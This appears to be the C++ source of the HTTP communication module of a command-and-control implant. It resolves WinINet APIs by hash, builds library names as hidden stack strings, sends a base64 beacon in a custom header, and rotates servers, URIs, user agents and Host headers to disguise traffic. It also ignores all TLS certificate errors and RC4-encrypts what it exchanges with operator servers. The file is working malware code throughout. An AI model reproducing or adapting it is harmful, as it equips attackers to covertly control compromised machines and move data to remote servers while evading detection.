#include "ConnectorHTTP.h" #include "ApiLoader.h" #include "ApiDefines.h" #include "ProcLoader.h" #include "Encoders.h" #include "Crypt.h" #include "utils.h" BOOL _isdigest(char c) { return c >= '0' && c <= '9'; } int _atoi(const char* str) { int result = 0; int sign = 1; int index = 0; while (str[index] == ' ') index++; if (str[index] == '-' || str[index] == '+') { sign = (str[index] == '-') ? -1 : 1; index++; } while (_isdigest(str[index])) { int digit = str[index] - '0'; if (result > (INT_MAX - digit) / 10) return (sign == 1) ? INT_MAX : INT_MIN; result = result * 10 + digit; index++; } return result * sign; } void* ConnectorHTTP::operator new(size_t sz) { void* p = MemAllocLocal(sz); return p; } void ConnectorHTTP::operator delete(void* p) noexcept { MemFreeLocal(&p, sizeof(ConnectorHTTP)); } ConnectorHTTP::ConnectorHTTP() { this->functions = (HTTPFUNC*) ApiWin->LocalAlloc(LPTR, sizeof(HTTPFUNC)); this->functions->LocalAlloc = ApiWin->LocalAlloc; this->functions->LocalReAlloc = ApiWin->LocalReAlloc; this->functions->LocalFree = ApiWin->LocalFree; this->functions->LoadLibraryA = ApiWin->LoadLibraryA; this->functions->GetLastError = ApiWin->GetLastError; CHAR wininet_c[12]; wininet_c[0] = HdChrA('w'); wininet_c[1] = HdChrA('i'); wininet_c[2] = HdChrA('n'); wininet_c[3] = HdChrA('i'); wininet_c[4] = HdChrA('n'); wininet_c[5] = HdChrA('e'); wininet_c[6] = HdChrA('t'); wininet_c[7] = HdChrA('.'); wininet_c[8] = HdChrA('d'); wininet_c[9] = HdChrA('l'); wininet_c[10] = HdChrA('l'); wininet_c[11] = HdChrA(0); HMODULE hWininetModule = this->functions->LoadLibraryA(wininet_c); if (hWininetModule) { this->functions->InternetOpenA = (decltype(InternetOpenA)*) GetSymbolAddress(hWininetModule, HASH_FUNC_INTERNETOPENA); this->functions->InternetConnectA = (decltype(InternetConnectA)*) GetSymbolAddress(hWininetModule, HASH_FUNC_INTERNETCONNECTA); this->functions->HttpOpenRequestA = (decltype(HttpOpenRequestA)*) GetSymbolAddress(hWininetModule, HASH_FUNC_HTTPOPENREQUESTA); this->functions->HttpSendRequestA = (decltype(HttpSendRequestA)*) GetSymbolAddress(hWininetModule, HASH_FUNC_HTTPSENDREQUESTA); this->functions->InternetSetOptionA = (decltype(InternetSetOptionA)*) GetSymbolAddress(hWininetModule, HASH_FUNC_INTERNETSETOPTIONA); this->functions->InternetQueryOptionA = (decltype(InternetQueryOptionA)*) GetSymbolAddress(hWininetModule, HASH_FUNC_INTERNETQUERYOPTIONA); this->functions->HttpQueryInfoA = (decltype(HttpQueryInfoA)*) GetSymbolAddress(hWininetModule, HASH_FUNC_HTTPQUERYINFOA); this->functions->InternetQueryDataAvailable = (decltype(InternetQueryDataAvailable)*) GetSymbolAddress(hWininetModule, HASH_FUNC_INTERNETQUERYDATAAVAILABLE); this->functions->InternetCloseHandle = (decltype(InternetCloseHandle)*) GetSymbolAddress(hWininetModule, HASH_FUNC_INTERNETCLOSEHANDLE); this->functions->InternetReadFile = (decltype(InternetReadFile)*) GetSymbolAddress(hWininetModule, HASH_FUNC_INTERNETREADFILE); } } BOOL ConnectorHTTP::SetProfile(void* profilePtr, BYTE* beat, ULONG beatSize) { ProfileHTTP profile = *(ProfileHTTP*)profilePtr; LPSTR encBeat = b64_encode(beat, beatSize); ULONG enc_beat_length = StrLenA(encBeat); ULONG param_length = StrLenA((CHAR*)profile.parameter); ULONG headers_length = StrLenA((CHAR*)profile.http_headers); CHAR* HttpHeaders = (CHAR*)this->functions->LocalAlloc(LPTR, param_length + enc_beat_length + headers_length + 5); memcpy(HttpHeaders, profile.http_headers, headers_length); ULONG index = headers_length; memcpy(HttpHeaders + index, profile.parameter, param_length); index += param_length; HttpHeaders[index++] = ':'; HttpHeaders[index++] = ' '; memcpy(HttpHeaders + index, encBeat, enc_beat_length); index += enc_beat_length; HttpHeaders[index++] = '\r'; HttpHeaders[index++] = '\n'; HttpHeaders[index++] = 0; memset(encBeat, 0, enc_beat_length); this->functions->LocalFree(encBeat); encBeat = NULL; this->headers = HttpHeaders; this->server_count = profile.servers_count; this->server_address = (CHAR**)profile.servers; this->server_ports = profile.ports; this->ssl = profile.use_ssl; this->http_method = (CHAR*)profile.http_method; this->uri_count = profile.uri_count; this->uris = (CHAR**) profile.uris; this->ua_count = profile.ua_count; this->user_agents = (CHAR**) profile.user_agents; this->hh_count = profile.hh_count; this->host_headers = (CHAR**) profile.host_headers; this->rotation_mode = profile.rotation_mode; this->ans_size = profile.ans_size; this->ans_pre_size = profile.ans_pre_size; this->proxy_type = profile.proxy_type; this->proxy_username = (CHAR*)profile.proxy_username; this->proxy_password = (CHAR*)profile.proxy_password; if (this->proxy_type != PROXY_TYPE_NONE && profile.proxy_host != NULL) { ULONG hostLen = StrLenA((CHAR*)profile.proxy_host); WORD port = profile.proxy_port; CHAR portStr[6]; int portIdx = 0; if (port == 0) { portStr[portIdx++] = '0'; } else { CHAR temp[6]; int tempIdx = 0; while (port > 0) { temp[tempIdx++] = '0' + (port % 10); port /= 10; } for (int i = tempIdx - 1; i >= 0; i--) { portStr[portIdx++] = temp[i]; } } portStr[portIdx] = 0; ULONG prefixLen = 0; if (this->proxy_type == PROXY_TYPE_HTTPS) { prefixLen = 8; } this->proxy_url = (CHAR*)this->functions->LocalAlloc(LPTR, prefixLen + hostLen + 1 + portIdx + 1); ULONG idx = 0; if (this->proxy_type == PROXY_TYPE_HTTPS) { this->proxy_url[idx++] = 'h'; this->proxy_url[idx++] = 't'; this->proxy_url[idx++] = 't'; this->proxy_url[idx++] = 'p'; this->proxy_url[idx++] = 's'; this->proxy_url[idx++] = ':'; this->proxy_url[idx++] = '/'; this->proxy_url[idx++] = '/'; } memcpy(this->proxy_url + idx, profile.proxy_host, hostLen); idx += hostLen; this->proxy_url[idx++] = ':'; memcpy(this->proxy_url + idx, portStr, portIdx + 1); } return TRUE; } void ConnectorHTTP::SendData(BYTE* data, ULONG data_size) { this->recvSize = 0; this->recvData = 0; ULONG attempt = 0; BOOL connected = FALSE; BOOL result = FALSE; DWORD context = 0; // Close existing handles to force new UA per call if (this->hConnect) { this->functions->InternetCloseHandle(this->hConnect); this->hConnect = NULL; } if (this->hInternet) { this->functions->InternetCloseHandle(this->hInternet); this->hInternet = NULL; } while (!connected && attempt < this->server_count) { DWORD dwError = 0; if (!this->hInternet) { CHAR* currentUA = this->user_agents[this->ua_index]; if (this->proxy_url != NULL) { this->hInternet = this->functions->InternetOpenA(currentUA, INTERNET_OPEN_TYPE_PROXY, this->proxy_url, NULL, 0); } else { this->hInternet = this->functions->InternetOpenA(currentUA, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0); } } if (this->hInternet) { if (!this->hConnect) this->hConnect = this->functions->InternetConnectA(this->hInternet, this->server_address[this->server_index], this->server_ports[this->server_index], NULL, NULL, INTERNET_SERVICE_HTTP, 0, (DWORD_PTR)&context); if (this->hConnect) { CHAR acceptTypes[] = { '*', '/', '*', 0 }; LPCSTR rgpszAcceptTypes[] = { acceptTypes, 0 }; DWORD flags = INTERNET_FLAG_RELOAD | INTERNET_FLAG_NO_CACHE_WRITE | INTERNET_FLAG_KEEP_CONNECTION | INTERNET_FLAG_NO_UI | INTERNET_FLAG_NO_COOKIES; if (this->ssl) flags |= INTERNET_FLAG_SECURE; CHAR* currentUri = this->uris[this->uri_index]; HINTERNET hRequest = this->functions->HttpOpenRequestA(this->hConnect, this->http_method, currentUri, 0, 0, rgpszAcceptTypes, flags, (DWORD_PTR)&context); if (hRequest) { if (this->ssl) { DWORD dwFlags = 0; DWORD dwBuffer = sizeof(DWORD); result = this->functions->InternetQueryOptionA(hRequest, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, &dwBuffer); if (!result) { dwFlags = 0; } dwFlags |= SECURITY_FLAG_IGNORE_UNKNOWN_CA | SECURITY_FLAG_IGNORE_CERT_CN_INVALID | SECURITY_FLAG_IGNORE_CERT_DATE_INVALID | SECURITY_FLAG_IGNORE_REVOCATION | SECURITY_FLAG_IGNORE_WRONG_USAGE; this->functions->InternetSetOptionA(hRequest, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof(dwFlags)); } if (this->proxy_type != PROXY_TYPE_NONE && this->proxy_username != NULL) { this->functions->InternetSetOptionA(hRequest, INTERNET_OPTION_PROXY_USERNAME, this->proxy_username, StrLenA(this->proxy_username)); if (this->proxy_password != NULL) { this->functions->InternetSetOptionA(hRequest, INTERNET_OPTION_PROXY_PASSWORD, this->proxy_password, StrLenA(this->proxy_password)); } } // Build request headers with optional Host header CHAR* reqHeaders = this->headers; CHAR* tmpHeaders = NULL; if (this->hh_count > 0) { CHAR* currentHH = this->host_headers[this->hh_index]; ULONG hhLen = StrLenA(currentHH); ULONG baseLen = StrLenA(this->headers); WORD currentPort = this->server_ports[this->server_index]; BOOL hasPort = FALSE; for (ULONG i = 0; i < hhLen; i++) { if (currentHH[i] == ':') { hasPort = TRUE; break; } } BOOL needPort = FALSE; CHAR portStr[6] = {0}; ULONG portLen = 0; if (!hasPort) { if ((this->ssl && currentPort != 443) || (!this->ssl && currentPort != 80)) { needPort = TRUE; WORD port = currentPort; if (port == 0) { portStr[portLen++] = '0'; } else { CHAR temp[6]; int tempIdx = 0; while (port > 0) { temp[tempIdx++] = '0' + (port % 10); port /= 10; } for (int i = tempIdx - 1; i >= 0; i--) { portStr[portLen++] = temp[i]; } } portStr[portLen] = 0; } } ULONG allocSize = 6 + hhLen + (needPort ? 1 + portLen : 0) + 2 + baseLen + 1; tmpHeaders = (CHAR*)this->functions->LocalAlloc(LPTR, allocSize); ULONG off = 0; tmpHeaders[off++] = 'H'; tmpHeaders[off++] = 'o'; tmpHeaders[off++] = 's'; tmpHeaders[off++] = 't'; tmpHeaders[off++] = ':'; tmpHeaders[off++] = ' '; memcpy(tmpHeaders + off, currentHH, hhLen); off += hhLen; if (needPort) { tmpHeaders[off++] = ':'; memcpy(tmpHeaders + off, portStr, portLen); off += portLen; } tmpHeaders[off++] = '\r'; tmpHeaders[off++] = '\n'; memcpy(tmpHeaders + off, this->headers, baseLen); off += baseLen; tmpHeaders[off] = 0; reqHeaders = tmpHeaders; } connected = this->functions->HttpSendRequestA(hRequest, reqHeaders, (DWORD)StrLenA(reqHeaders), (LPVOID)data, (DWORD)data_size); if (tmpHeaders) { memset(tmpHeaders, 0, StrLenA(tmpHeaders)); this->functions->LocalFree(tmpHeaders); } if (connected) { char statusCode[255]; DWORD statusCodeLenght = 255; BOOL result = this->functions->HttpQueryInfoA(hRequest, HTTP_QUERY_STATUS_CODE, statusCode, &statusCodeLenght, 0); if (result && _atoi(statusCode) == 200) { DWORD answerSize = 0; DWORD dwLengthDataSize = sizeof(DWORD); result = this->functions->HttpQueryInfoA(hRequest, HTTP_QUERY_CONTENT_LENGTH | HTTP_QUERY_FLAG_NUMBER, &answerSize, &dwLengthDataSize, NULL); if (result) { DWORD dwNumberOfBytesAvailable = 0; result = this->functions->InternetQueryDataAvailable(hRequest, &dwNumberOfBytesAvailable, 0, 0); if (result && answerSize > 0) { ULONG numberReadedBytes = 0; DWORD readedBytes = 0; BYTE* buffer = (BYTE*)this->functions->LocalAlloc(LPTR, answerSize); while (numberReadedBytes < answerSize) { result = this->functions->InternetReadFile(hRequest, buffer + numberReadedBytes, dwNumberOfBytesAvailable, &readedBytes); if (!result || !readedBytes) { break; } numberReadedBytes += readedBytes; } this->recvSize = numberReadedBytes; this->recvData = buffer; } } else if (this->functions->GetLastError() == ERROR_HTTP_HEADER_NOT_FOUND) { ULONG numberReadedBytes = 0; DWORD readedBytes = 0; BYTE* buffer = (BYTE*)this->functions->LocalAlloc(LPTR, 0); DWORD dwNumberOfBytesAvailable = 0; while (1) { result = this->functions->InternetQueryDataAvailable(hRequest, &dwNumberOfBytesAvailable, 0, 0); if (!result || !dwNumberOfBytesAvailable) break; buffer = (BYTE*)this->functions->LocalReAlloc(buffer, dwNumberOfBytesAvailable + numberReadedBytes, LMEM_MOVEABLE); result = this->functions->InternetReadFile(hRequest, buffer + numberReadedBytes, dwNumberOfBytesAvailable, &readedBytes); if (!result || !readedBytes) { break; } numberReadedBytes += readedBytes; } if (numberReadedBytes) { this->recvSize = numberReadedBytes; this->recvData = buffer; } else { this->functions->LocalFree(buffer); } } } } else { dwError = this->functions->GetLastError(); } this->functions->InternetCloseHandle(hRequest); } } attempt++; if (!connected) { if (this->hConnect) { this->functions->InternetCloseHandle(this->hConnect); this->hConnect = NULL; } if (this->hInternet) { this->functions->InternetCloseHandle(this->hInternet); this->hInternet = NULL; } this->functions->InternetSetOptionA(NULL, INTERNET_OPTION_SETTINGS_CHANGED, NULL, 0); this->functions->InternetSetOptionA(NULL, INTERNET_OPTION_REFRESH, NULL, 0); this->server_index = (this->server_index + 1) % this->server_count; } // Rotate indices for next callback (active round-robin) if (this->rotation_mode == 1) { this->uri_index = GenerateRandom32() % this->uri_count; this->ua_index = GenerateRandom32() % this->ua_count; this->server_index = GenerateRandom32() % this->server_count; if (this->hh_count > 0) this->hh_index = GenerateRandom32() % this->hh_count; } else { this->uri_index = (this->uri_index + 1) % this->uri_count; this->ua_index = (this->ua_index + 1) % this->ua_count; this->server_index = (this->server_index + 1) % this->server_count; if (this->hh_count > 0) this->hh_index = (this->hh_index + 1) % this->hh_count; } } } } BYTE* ConnectorHTTP::RecvData() { if (this->recvData) return this->recvData + this->ans_pre_size; else return NULL; } int ConnectorHTTP::RecvSize() { if (this->recvSize < this->ans_size) return 0; return this->recvSize - this->ans_size; } void ConnectorHTTP::RecvClear() { if (this->recvData && this->recvSize) { memset(this->recvData, 0, this->recvSize); this->functions->LocalFree(this->recvData); this->recvData = NULL; } } void ConnectorHTTP::Exchange(BYTE* plainData, ULONG plainSize, BYTE* sessionKey) { if (plainData && plainSize > 0) { EncryptRC4(plainData, plainSize, sessionKey, 16); this->SendData(plainData, plainSize); } else { this->SendData(NULL, 0); } if (this->recvSize > 0 && this->recvData) { int dataSize = this->RecvSize(); BYTE* dataPtr = this->RecvData(); if (dataSize > 0 && dataPtr) DecryptRC4(dataPtr, dataSize, sessionKey, 16); } } void ConnectorHTTP::CloseConnector() { DWORD l = StrLenA(this->headers); memset(this->headers, 0, l); this->functions->LocalFree(this->headers); this->headers = NULL; this->functions->InternetCloseHandle(this->hInternet); this->functions->InternetCloseHandle(this->hConnect); }